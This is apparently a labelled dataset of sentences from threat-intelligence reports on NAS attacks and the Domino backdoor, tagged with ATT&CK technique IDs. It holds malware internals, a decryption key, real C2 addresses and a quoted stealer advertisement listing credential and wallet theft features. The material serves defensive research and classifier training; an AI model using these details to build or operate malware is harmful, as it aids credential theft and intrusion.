{"sentence": "Valid credentials found during compromise are then uploaded to the command-and-control (C&C) server, usually at port 5028/TCP. Figure 4.", "labels": ["T1041", "T1078", "T1095"], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "StealthWorker brute-force function targeting QNAP devices Figure 5.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Infected Linux device connected to a C&C server How to protect NAS devices Without proper security implemented in NAS devices, users and businesses will continue to be targeted since these tools can be used as entry points for information theft, malware infection, and the disruption of operations, among others.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Here are some best practices to protect your systems against threats that leverage the gaps in your NAS devices: Avoid connecting a NAS device directly to the internet.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Regularly change the credentials for accessing an NAS device.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Never use the preset default credentials that come with the device as these are well-known to malicious actors.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Enable two-factor authentication (2FA) for additional security.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "Regularly check NAS manufacturers’ online security guides, such as Synology’s recommended best practices and QNAP’s recently released suggestions on how to help defend their devices against additional exposure on the internet.", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "To find more technical details, threats, insights, and recommendations in protecting your NAS device, download our research “Backing Your Backup: Defending NAS Devices Against Evolving Threats.” Authors Stephen Hilt Sr. Threat Researcher Fernando Merces Sr. Threat Researcher", "labels": [], "doc_title": "Defending Users NAS Devices From Evolving Threats"}
{"sentence": "This blog was made possible through contributions from Christopher Caridi.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "IBM Security X-Force recently discovered a new malware family we have called “Domino,” which we assess was created by developers associated with the cybercriminal group that X-Force tracks as ITG14, also known as FIN7.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Former members of the Trickbot/Conti syndicate which X-Force tracks as ITG23 have been using Domino since at least late February 2023 to deliver either the Project Nemesis information stealer or more capable backdoors such as Cobalt Strike.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Background This discovery highlights the intricate nature of cooperation among cybercriminal groups and their members: Since late February 2023, Domino Backdoor campaigns have been observed using the Dave Loader, which we have linked to the Trickbot/Conti syndicate and its former members.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino’s code shows overlap with the Lizar (aka Tirion, Diceloader) malware family, leading us to suspect that it was created by current or former ITG14 developers.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "One of Domino’s final payloads is the Project Nemesis infostealer.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Project Nemesis was first advertised on the dark web in December 2021, though has been rarely used since then.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Analysis Ex-Conti Members Deploy Domino in Recent Campaigns Former members of ITG23 (aka the Trickbot/Conti syndicate) are likely behind recent campaigns using the Dave Loader to load Domino Backdoor and probably collaborated with current or former ITG14 developers to purchase or use the new malware family.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "X-Force previously assessed that Dave is one of several loaders or crypters developed by members of the Trickbot/Conti group.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Although the group has fractured, many of its loaders/crypters — including Dave — have been maintained and continue to be used by factions composed of former Trickbot/Conti members, including Quantum, Royal, BlackBasta, and Zeon.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Dave Loader has been used recently with several Cobalt Strike samples with the watermark “206546002,” which X-Force and other security researchers — here and here — have associated with groups composed of former members of the Trickbot/Conti syndicate, including Quantum and Royal.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "X-Force observed Dave-loaded Cobalt Strike samples using this watermark in suspected Royal attacks in fall 2022.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Dave Loader has also been used this year to load IcedID and Emotet, both of which serve as initial access vectors for ransomware attacks from former Trickbot/Conti-affiliated factions.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Recently observed Dave samples were discovered loading a new malware, which we have named Domino Backdoor.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This new backdoor gathers basic system information, which it then sends to the C2, and in return receives an AES encrypted payload.", "labels": ["T1027", "T1041", "T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In most instances, the received payload was a second loader that was found to have code overlap with Domino Backdoor, and as such we have dubbed it Domino Loader.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This loader contains an encrypted payload within its resources, which it decrypts using AES.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The decrypted payload is a .NET infostealer, which identifies itself as ‘Nemesis Project.’", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Domino Backdoor is designed to contact a different C2 address for domain-joined systems, suggesting a more capable backdoor, such as Cobalt Strike, will be downloaded on higher value targets instead of Project Nemesis.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino’s Connections to ITG14 Analysis revealed that both the Domino Backdoor and Loader share code overlap with the Lizar Malware, also known as Tirion and DiceLoader, which is attributed to the threat group ITG14 (FIN7).", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In addition to having similar coding styles and functionality, both Domino and DiceLoader share the same configuration structure and have similar bot ID formats.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Lizar was reportedly first used in March 2020, when it was originally named Tirion, and has been observed in numerous ITG14 campaigns up to the end of 2022.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino has been active in the wild since at least October 2022, which notably is when Lizar observations began to decrease.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "X-Force researchers found additional evidence connecting Domino Backdoor to ITG14’s Carbanak Backdoor.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "We identified Domino Backdoor samples from December 2022, which used a different loader that we have dubbed NewWorldOrder Loader.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The samples used the name ThunderboltService.exe and downloaded and loaded the Project Nemesis Stealer.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Around the same time, we also uncovered NewWorldOrder Loader samples, with the same filename ThunderboltService.exe, used to load the Carbanak Backdoor.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Carbanak has been used by ITG14 since late 2015.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Finally, X-Force analysts also observed that two of the Domino Backdoor C2 addresses belonging to MivoCloud: 94.158.247[.]72 and 185.225.17[.]202 are very close to C2 addresses ITG14 has used previously for SSH-based Backdoors such as 94.158.247[.]23 and 185.225.17[.]220.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "While such overlap is insufficient for attribution, it is nonetheless consistent with other evidence linking Domino to an ITG14 developer and may indicate the latter’s preference for MivoCloud for at least some of their C2 addresses.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "MivoCloud has also been used to host Diceloader and Carbanak C2 servers.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Collaboration between members of ITG14 and former members of ITG23 is not without precedent.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Other researchers — here and here — observed ITG14 attacks using Ryuk ransomware in 2020, which has been attributed to the Trickbot/Conti cybercrime syndicate, while others have also identified connections between a FIN7 developer and tools used by the BlackBasta group, whose members also have ties to the former Trickbot/Conti syndicate.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Project Nemesis The Project Nemesis infostealer has been active in the wild since December 2021, when it was offered for sale on several Dark Web forums.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "It can collect data from a range of web browsers, as well as applications including Steam, Telegram, Discord, crypto wallets, and VPN providers.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino has been used to install Project Nemesis since at least October 2022 — prior to its use in late February 2023 by ex-Conti actors.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This leads us to assess that the ITG14 members responsible for developing Domino probably had a relationship with Project Nemesis and offered Domino and the infostealer to the ex-Conti threat actors as a package.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The ex-Conti members in turn likely used the Project Nemesis infostealer against lower value targets.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The use of infostealers by former Trickbot/Conti members and their distributors is not without precedent — other security researchers observed the Vidar infostealer delivered during DEV-0569 Batloader campaigns that also led in some cases to Cobalt Strike and Royal ransomware.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "We assess that infostealers may often be deployed during lower priority infections, e.g., on personal computers or those not belonging to an Active Directory domain, while higher priority infections receive other backdoors such as Cobalt Strike.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Malware Deep Dive This section contains a deeper look at the Dave Loader, Domino Backdoor, Domino Loader, and Project Nemesis Infostealer malware.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Dave Loader The sample analysed for the purpose of this report is a 64-bit executable with MD5 hash 2CC79806701F1A6E877C29B93F06F1BB and a reported compile date of 28 February 2023.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This sample is identified as a variant of Dave Loader, a crypter linked to threat group ITG23 and more commonly observed with payloads such as Emotet.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This sample has two encrypted resources within a resource directory named “XKLKLCRTE.”", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Dave Loader loads the resources using the API calls LdrFindResource_U and LdrAccessResource, and decrypts them using XOR and the key mh8ZqMlTsaDYBZe7ma\\x00.", "labels": ["T1106", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The smaller payload, with resource ID 3412, is a shellcode blob that contains code designed to load a PE file.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The second payload, with resource ID 6732, is a PE file.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Dave Loader executes the decrypted shellcode and passes the PE payload to it, which the shellcode then loads and executes.", "labels": ["T1055", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Backdoor The loaded payload is a 64-bit DLL written in Visual C++, with MD5 hash CDBE0FEB82B1CAF164C7DA42CB9A20BE.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The payload was found to be a hitherto unknown backdoor, which will be referred to as Domino Backdoor.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Upon execution, Domino Backdoor starts by generating a Bot ID for the infected system by gathering the username and hostname and creating a hash of the collected data, to which it then appends its current process id.", "labels": ["T1005", "T1033", "T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "For example, a648628c13d928dc-4480.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This bot ID format is similar to that generated by Lizar, which also used a checksum of system information, combined with the process ID.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "However, Lizar used a CRC algorithm to create its hash, whereas Domino uses a custom algorithm which XOR’s multiple values together.", "labels": ["T1027"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Interestingly, Lizar used a similar XOR-based algorithm as part of its encryption mechanisms during communication with the C2. Fig 1 — Domino Backdoor system ID generation The malware then proceeds to decrypt its configuration block, which is stored in the data section of the binary.", "labels": ["T1140", "T1573.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The config is decrypted using XOR and a 16-byte key which is stored immediately before the encrypted config block.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In this case the key is {03 9B 54 72 17 D3 5E E6 E0 E9 EF E0 DF 36 0D 79}.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Fig 2 — Domino Backdoor config decryption In the analysed sample the decrypted config contains two pipe-delimited IP addresses, 88.119.175[.]124 and 94.158.247[.]72.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This is the same format used by Lizar to store its configuration. 00000000 38 38 2e 31 31 39 2e 31 37 35 2e 31 32 34 7c 39 |88.119.175.124|9| 00000010 34 2e 31 35 38 2e 32 34 37 2e 37 32 00 6e ee 99 |4.158.247.72.nî.| 00000020 37 b1 2d 84 e5 8d 6a 70 21 3e d5 21 2c c1 37 b5 |7±-.å.jp!>Õ!,Á7µ| 00000030 1f b7 09 f3 9b 0a c7 fe 53 32 23 6a 8c b0 4e 22 |.·.ó..ÇþS2#j.°N”| Scroll to view full table", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "A second config block, which is decrypted separately, contains an RSA public key.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware generates a random 32-byte key, which it encrypts using the RSA key.", "labels": ["T1027"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "It then attempts to connect to the C2 via TCP port 443 and send the encrypted key.", "labels": ["T1095"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Prior to the C2 connection, the malware checks whether the host system is connected to a domain.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the system is detected as being domain joined, then the malware uses the second IP address from the config to connect to the C2, otherwise, it defaults to the first.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the initial connection is successful, the malware then proceeds to gather basic system information, including username, computer name, and OS version, which it then encrypts using AES-256-CBC and the generated, shared key (null bytes used for IV).", "labels": ["T1033", "T1082", "T1573.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "An example of the unencrypted data structure, which the malware sends to the C2, can be seen below. 00000000 39 00 00 00 0b 15 61 36 34 38 36 32 38 63 31 33 |9…..", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "a648628c13| 00000010 64 39 32 38 64 63 2d 34 34 38 30 03 01 0a 00 00 |d928dc-4480…..| 00000020 00", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "5a 29 00 00 0c 32 39 46 65 58 73 6b 64 70 4c |.Z)…29FeXskdpL| 00000030 59 67 0a 76 6e 50 78 53 46 65 6f 4e 4e |Yg.vnPxSFeoNN| Scroll to view full table", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This structure breaks down as follows: Offset Size (bytes) Contents Description 0x0 4 0x00000039 Size of structure 0x4 1 0x0B Hardcoded value 0xB (11) 0x5 1 0x15 Size of system id string 0x6 21 a648628c13d928dc-4480 System ID string 0x1B 1 0x03 Value indicating presence of domain string 0x1C 1 0x01 Unknown 0x1D 1 0x0A OS Major version (10) 0x1E 1 0x00 OS Minor version 0x1F", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "2 0x0000 Unknown 0x21 4 0x5a290000 OS Build Number (0x295A = 10586) 0x25 1 0x0C Size of computer name string 0x26 12 29FeXskdpL Computer Name 0x32 1 0x0A Size of username string 0x33 10 vnPxSFeoNN Username Scroll to view full table", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware first sends 4 bytes to the C2 that contain a XOR-encrypted value, which is the size of the data to follow, and then sends the AES-encrypted system data.", "labels": ["T1573.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware then begins a loop of checking in with the C2 by first sending a 4-byte encrypted size, followed by a 16-byte AES-encrypted block, which decrypts to the following 5 bytes {01 00 00 00 ff}.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "It continues this every second until it receives a response from the C2.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "When it receives a response, the malware expects the C2 to send 4 bytes containing the payload size, followed by the payload itself.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The malware then decrypts the received payload using AES and the shared key.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The decrypted data consists of a 4 byte size, followed by a single byte indicating either a command or the load method that the malware should use for the payload, followed by the payload data itself, if applicable.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the command byte is 0x3, then the malware exits.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the command byte is 0x7, then the malware enumerates the running processes on the system and compiles a list of process names and IDs.", "labels": ["T1057"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This data is then encrypted using AES and returned to the C2.", "labels": ["T1573.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Otherwise, the malware proceeds to load and execute the received payload using the method indicated by the load/command byte.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The following methods are supported:", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "0x1 — Copy the payload into allocated memory within the current process and create a new thread to execute an export named ReflectiveLoader within the payload DLL. 0x4 — Save the payload to the %Temp% directory with a filename generated via GetTempFileNameA, and execute the file using CreateProcessA. 0x5, 0x6 — Open process with process id provided with the downloaded data.", "labels": ["T1106"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Allocate space within the process and write the payload data to the process memory.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Then create a new thread in the remote process to execute an export named ReflectiveLoader within the copied payload DLL.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This method is likely intended to be used following command 0x7.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In the case of the analysed sample, the received payload contained a DLL binary, and command 0x1 was specified.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Fig 3 — Domino Backdoor command structure Overlap with Lizar Toolkit Domino Backdoor shares a lot of overlap with malware associated with the Lizar Toolkit, which is attributed to threat group ITG14.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Lizar Toolkit consists of a backdoor/loader, a collection of modules/plugins which can be executed by the loader, and C2 client and server applications.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "A detailed report on the Lizar Toolkit can be found here.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In addition to having similar coding styles and utilising similar API calls, Domino Backdoor uses the same configuration structure as the Lizar Loader.", "labels": ["T1106"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In both cases, a configuration block containing a pipe-delimited list of IP addresses is decrypted using XOR and a 16-byte key which is stored immediately before the encrypted config.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Both malware families also generate system IDs in very similar manners.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "In the case of Domino Backdoor a hash is generated from the system username and hostname and the process ID is appended.", "labels": ["T1033", "T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The hashing algorithm is custom and appears to be based on an encryption algorithm used previously in the Lizar Loader.", "labels": ["T1027"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Lizar Loader also generates a system ID which consists of a hash of system data followed by the current process ID, however, it uses a CRC algorithm to create its hash.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Backdoor also incorporates elements that appear in some of Lizar’s plugins.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "For example, the system information gathered by Domino Backdoor and sent to the C2 matches the reported functionality of Lizar’s Info32/Info64.dll plugin.", "labels": ["T1041"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Also, the function within Domino Backdoor to enumerate running processes and send a list of process names and IDs back to the C2 is very similar to the functionality of Lizar’s ListProcesses32/ListProcesses64.dll plugin.", "labels": ["T1041", "T1057"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Finally, Lizar’s Jumper32/Jumper64.dll plugin resembles the code within Domino Backdoor, which is able to load a payload using several different methods, with the required one specified using a command ID number.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Loader The payload received by the Domino backdoor from the C2 during this analysis was a 64-bit DLL, written in C++, with MD5 hash 2373BE26018075847AEA51636B739F66 and an internal filename of MultiRunDll64.dll.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The payload was found to be a Loader with similarities to Domino Backdoor, and will be referred to as Domino Loader.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Domino Loader has one export named ReflectiveLoader that contains code taken from the well-known ReflectiveDLLInjection project.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "When run, this code performs the steps needed to properly load the DLL into memory, and allows for DLL payloads to load themselves directly from memory into a host process.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Once loaded, Domino Loader starts by loading an encrypted payload from its resources and decrypting it using AES-256-CBC and a hardcoded key.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Microsoft WinCrypt library is used for AES encryption and decryption by both Domino Backdoor and Loader.", "labels": ["T1027", "T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The decrypted data consists of 4 bytes containing the payload size, followed by a further 4 bytes containing either the entry point offset for the payload or a value indicating the load method which should be used, followed by the payload itself.", "labels": ["T1140"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the entry point/load field contains a positive value, then the loader allocates memory within the current process space, copies the payload data to it, and then executes it at the specified offset indicated by the field value.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "This option is most likely used for shellcode payloads or further DLLs with ReflectiveLoader exports.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "If the value of the load field is -1 then the loader allocates memory within the current process and then loads the PE payload into it using the full PE loading procedure.", "labels": ["T1055"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "It copies the headers, maps the individual PE sections, processes any relocations, loads the PE’s imports, and then executes the PE from its internally specified entry point.", "labels": ["T1055"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Finally, if the load field is equal to zero or another negative number, the payload is loaded as a .NET assembly.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Nemesis Project Infostealer The final payload loaded by Domino Loader is a .NET assembly with MD5 hash D9FFB202D6B679E5AD7303C0334CD000 and identified as a ‘Project Nemesis’ infostealer.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Project Nemesis is a commodity malware written in .NET which was first advertised for sale on the dark web in December 2021, though it does not seem to be widely known and it is not frequently observed in the wild.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The sample was initially advertised with the following text: !", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The Steeler was originally developed for personal purposes, in the future for sale. !", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Will be sold in one hand.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Price $ 1300 (bargaining is appropriate) !", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "STRICTLY THROUGH THE GUARANTOR DESCRIPTION : – Stealer is based on .Net[C#] – 4.5 .", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "The code is written from scratch, neat and clear, there are comments everywhere.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "– Selling together with all sources (build, builder, panel) FUNCTIONALITY : Spoiler: STEALER – Log collection takes place in memory – Collection of data from Chromium browsers (Cookies/CC/Passwords/Autofills/Bookmars/History) v80+ – Collection of data from Gecko browsers (Cookies/Passwords/Bookmark/History) v80+ – Collection of RDP/FTP sessions – Grabbink files from the desktop (by extension) – Collection of UserAgent – Collection of information about the system in HTML format – Collect Vpn (NordVpn/OpenVpn/ProtonVpn) –", "labels": ["T1082"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Collecting Steam – Collection of the Telegram session (including the Portable version) – Collecting Discord tokens List of crypto wallets:", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Electrum,Electrum-Dash,Ethereum,Exodus,Atomic,Jaxx,Coinomi,Guarda,Armory,Zcash,Bytecoin List of supported crypto plugins: TronLink, MetaMask, Binance Chain Wallet Anti-sniffer: All programs that catch http/https data transfer are closed [even if the name is changed] – Self-delete after sending data (on/off) – CIS(Lock start in CIS countries) (on/off) – Blocking startup on virtual machines (on/off) – Sending data to the Web-panel (IP logger is on the side of the panel)", "labels": ["T1070.004", "T1071.001"], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Scroll to view full table Data collected by Nemesis can be accessed by the operator via a web-based control panel.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Fig 4 — Nemesis Control Panel Login Screen Fig 5 — Nemesis Dashboard Static Analysis Upon execution Nemesis starts by creating a mutex to ensure only one instance of the malware is running: Local\\\\751E355F-B066-4547-B13E-B185D9176390 The malware keeps a log of its activity, mostly written in the Russian language, and the following is written upon its startup: Logger.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Write(“~[NEMESIS INIZIALIZE]~”); Logger.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
{"sentence": "Write(“Запуск задачи EngineTask”); Scroll to view full table Fig 6 — Nemesis Start-up Code Nemesis then immediately proceeds with infostealing activities, and collects the following data in order: Chromium-based browsers: Steals stored credentials, cookies, credit cards, bookmarks, autofill data, and history.", "labels": [], "doc_title": "ExConti and FIN7 Actors Collaborate with New Domino Backdoor"}
